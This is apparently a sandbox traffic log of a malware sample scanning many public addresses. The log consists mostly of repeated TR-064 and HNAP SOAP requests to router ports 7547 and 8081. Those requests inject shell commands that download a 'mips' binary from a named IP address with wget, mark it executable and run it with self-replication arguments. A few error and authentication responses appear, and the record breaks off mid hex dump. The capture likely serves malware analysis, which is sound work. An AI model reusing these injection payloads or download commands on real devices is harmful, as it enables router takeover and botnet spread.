Apr 15, 2024 08:52:20.012830973 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:21.472500086 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:23.200473070 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:26.720516920 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:33.632479906 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:47.456454039 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:15.616413116 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.13	52764	14.73.239.115	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:20.031783104 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.13	51526	173.174.90.105	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:20.061573982 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.13	35398	41.111.144.28	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:20.109783888 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.13	38964	121.122.75.251	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:20.132733107 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.13	37220	197.26.224.230	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:20.159616947 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.13	56294	75.165.150.113	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:20.239420891 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.13	52662	105.244.210.18	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:20.354912996 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:20.801537991 CEST	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Mon, 15 Apr 2024 08:52:23 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.13	45338	197.93.13.146	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:20.395412922 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:20.893928051 CEST	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Mon, 15 Apr 2024 06:52:20 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.13	35418	41.111.144.28	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:20.456993103 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.13	37380	86.148.8.93	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:20.759674072 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.13	42416	45.159.142.87	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:20.773906946 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.13	52674	105.244.210.18	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:20.795450926 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:21.241370916 CEST	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Mon, 15 Apr 2024 08:52:23 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.13	37386	86.148.8.93	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:21.080195904 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.13	42426	45.159.142.87	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:21.085999966 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.13	48272	37.140.76.86	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:21.132337093 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:22.260106087 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:23.392731905 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.13	52548	72.95.90.135	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:21.233107090 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:21.473500967 CEST	238	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 Connection: close WWW-Authenticate: Digest realm="realm@easycwmp",qop="auth",nonce="e5f5d097c941ba6f78c156f82fcf0470000e422d",opaque="328458fab28345ae87ab3210a8513b14eff452a2"

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.13	50374	52.173.83.70	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:21.916950941 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 